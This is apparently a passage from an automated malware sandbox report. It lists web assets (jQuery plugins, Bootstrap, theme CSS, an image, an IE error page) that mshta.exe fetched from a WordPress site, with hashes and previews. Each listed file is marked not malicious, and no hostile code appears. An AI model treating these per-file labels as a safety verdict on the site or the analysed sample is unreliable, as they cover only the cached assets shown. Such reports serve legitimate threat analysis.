Preview:	/! Magnific Popup - v0.9.3 - 2013-07-16. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery.mobilemenu[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.0968137085902505
Encrypted:	false
SSDEEP:	48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
MD5:	77DDDC6C72834DC757EB755B46C00F8D
SHA1:	894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
SHA-256:	C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
SHA-512:	D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Preview:	/*. jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). . Built on top of the jQuery library. * http://jquery.com. . Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '–'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery.zaccordion.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10762
Entropy (8bit):	5.077152335060303
Encrypted:	false
SSDEEP:	192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
MD5:	83587A80FA209ADBA2AE7D9C7D817790
SHA1:	0AD068CE6FB22A723676D786D0F5AA8922E34814
SHA-256:	3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
SHA-512:	527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Preview:	(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\owl.carousel.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3351
Entropy (8bit):	4.914211238199009
Encrypted:	false
SSDEEP:	48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
MD5:	B2752A850D44F50036628EEAEF3BFCFA
SHA1:	FBA46353CF90450EF3D362A123F1E7AF3E8C561E
SHA-256:	521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
SHA-512:	B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\sbi-styles.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16845
Entropy (8bit):	4.927428585989144
Encrypted:	false
SSDEEP:	192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
MD5:	02BACBAD1E26F0B3D1772D4CF5A047DC
SHA1:	89292741D360F7EB3319437CD32A80EA7B388941
SHA-256:	DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
SHA-512:	4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Preview:	#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	369
Entropy (8bit):	4.540020121615135
Encrypted:	false
SSDEEP:	6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
MD5:	894A154E267382CF65B478B759115923
SHA1:	ECFFCAEAC680371DF912387314F648F2DA111E19
SHA-256:	875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
SHA-512:	02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/style.css
Preview:	/--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\theme[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	87745
Entropy (8bit):	5.5982827947800144
Encrypted:	false
SSDEEP:	1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
MD5:	BB3B682DA2B43CE2AB6127EC0BB2F84E
SHA1:	B7734D0819DA9A80E1483A36357D06EB24332C25
SHA-256:	19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
SHA-512:	81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
Preview:	.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\tmstickup[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2506
Entropy (8bit):	4.979495337243772
Encrypted:	false
SSDEEP:	48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
MD5:	D75AE5B4F9859E20DABD5BA0E6959625
SHA1:	B72540421BD54F42D92734D0A53D46273839811D
SHA-256:	294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
SHA-512:	AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Preview:	(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\up-arrow[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1370
Entropy (8bit):	6.548363017537382
Encrypted:	false
SSDEEP:	24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
MD5:	DF0D428C42D964F07B5C2875B85AB1EC
SHA1:	42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
SHA-256:	E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
SHA-512:	A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Preview:	.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\wp-embed.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	5.13936657531626
Encrypted:	false
SSDEEP:	24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
MD5:	570AE0F3C201604926EA599D3D1F6C04
SHA1:	2C29243A73660964D4712B969D2A15E27777BC14
SHA-256:	5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
SHA-512:	44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Preview:	!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\animate-logo[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	81132
Entropy (8bit):	4.724082147516296
Encrypted:	false
SSDEEP:	384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
MD5:	B7A9605E1633ACF8180CD3F6C604876D
SHA1:	3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
SHA-256:	1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
SHA-512:	66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
Preview:	@charset "UTF-8";..../!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden../.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\bootstrap.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	28756
Entropy (8bit):	5.071148466705677
Encrypted:	false
SSDEEP:	768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
MD5:	BE1C5898C4332C8E7F9906011E005BB0
SHA1:	9567F7B3FD78160203C5795D397128390381D8A3
SHA-256:	7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
SHA-512:	0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Preview:	/*. Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\bootstrap[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	107397
Entropy (8bit):	5.243343101333427
Encrypted:	false
SSDEEP:	768:+coRowFmqeuii6OZLzAX+cSXgx7fLLgkhB5aErf:JoZ5vLPXgx7ngkjd
MD5:	FE45C97743C9CAEC6809D9F740D52D3E
SHA1:	CB69497E1935DE69862E92400478B75CD13E23BD
SHA-256:	55225FFA7E115D65C7E0F7A602A59CF5EE1D2F3C873F88381375A550B1B6B548
SHA-512:	9D36A695AD9DF51C63E820184DBD320D4B05700598F7CAC344C182F3D340FF20027C877BFA6F0FAE6EF717F236A6B5E4BF22286787B337D0F0B47F2BDD79693B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Preview:	article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }.audio, canvas, video {..display:inline-block;..display:inline;..zoom:1;.}.audio:not([controls]) { display:none; }.html {..font-size:100%;..-webkit-text-size-adjust:100%;..-ms-text-size-adjust:100%;.}.a:focus {..outline:thin dotted #333;..outline:5px auto -webkit-focus-ring-color;..outline-offset:-2px;.}.a:hover, a:active { outline:0; }.sub, sup {..position:relative;..font-size:75%;..line-height:0;..vertical-align:baseline;.}.sup { top:-0.5em; }.sub { bottom:-0.25em; }.img {..max-width:100%;..width:auto \9;..height:auto;..vertical-align:middle;..border:0;..-ms-interpolation-mode:bicubic;.}.#map_canvas img, .google-maps img { max-width:none; }.button, input, select, textarea {..margin:0;..font-size:100%;..vertical-align:middle;.}.button, input {..*overflow:visible;..line-height:normal;.}.button::-moz-focus-inner, input::-moz-focus-inner {..padding:0;..border:0;.}.button, html input[type

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\cherry-plugin[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31422
Entropy (8bit):	5.000880526077528
Encrypted:	false
SSDEEP:	768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
MD5:	8ADC9563E564E9A3DE844DF686CAE8A5
SHA1:	B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
SHA-256:	B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
SHA-512:	C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Preview:	/* #Shortcodes.================================================== /./ Recent Posts Shortcodes.---------------------------------------- /..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. / Images Format Type /. / Quote Format Type /. / Link Format Type /. / Audio Format Type /. / Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\custom[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7063
Entropy (8bit):	4.760531090364714
Encrypted:	false
SSDEEP:	96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
MD5:	9CA23FDB7BD610BD719855071377B6EF
SHA1:	058963F75C878FA6E48671046293F9B70D35B5AB
SHA-256:	859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
SHA-512:	15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Preview:	// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.dlg
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\error[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
